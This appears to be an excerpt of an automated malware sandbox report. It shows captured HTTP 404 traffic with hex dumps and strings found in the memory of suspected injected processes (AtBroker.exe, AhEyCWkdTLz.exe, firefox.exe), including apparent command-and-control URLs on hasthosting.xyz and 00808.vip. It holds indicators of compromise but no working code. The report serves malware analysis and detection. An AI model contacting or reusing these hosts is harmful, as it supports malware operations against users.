6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:52:58 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:53:01 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1566X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 07 Nov 2024 09:53:03 GMTContent-Type: text/html; charset=UTF-8Server: ghsContent-Length: 1718X-XSS-Protection: 0X-Frame-Options: SAMEORIGINConnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:53:22 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a747c1-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:53:25 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a747c1-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:53:28 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a747c1-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 07 Nov 2024 09:53:30 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a747c1-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Source: AhEyCWkdTLz.exe, 00000005.00000002.874124663.0000000000B59000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hasthosting.xyz
Source: AhEyCWkdTLz.exe, 00000005.00000002.874124663.0000000000B59000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.hasthosting.xyz/04fb/
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000004F12000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.hasthosting.xyz/04fb/?mFptYb=EDSq5eKeQ/yn
Source: AtBroker.exe, 00000004.00000002.874829576.0000000061EBE000.00000008.00000001.01000000.00000007.sdmp, sqlite3.dll.4.dr	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: AtBroker.exe, 00000004.00000002.874304385.0000000002BE4000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003784000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.436603581.0000000001284000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://00808.vip/
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: AtBroker.exe, 00000004.00000003.424626988.000000000050C000.00000004.00000020.00020000.00000000.sdmp, 1453h-8L.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AtBroker.exe, 00000004.00000002.874304385.000000000309A000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003C3A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://help.reg.ru/support/ssl-sertifikaty/1-etap-zakaz-ssl-sertifikata/kak-zakazat-besplatnyy-ssl-
Source: AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/amazeui.css
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/app.css
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/mescroll.min.css
Source: AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/css/normalize.css
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/email.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/home.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/menu.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/search.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/service.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/icon/top.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/buy-logo.png
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/images/rexiao.jpeg
Source: AtBroker.exe, 00000004.00000002.874664926.0000000005080000.00000004.00000800.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874304385.00000000033BE000.00000004.10000000.00040000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874283085.0000000003F5E000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://lzy-tw.oss-accelerate.aliyuncs.com//templates/main/js/amazeui.min.js
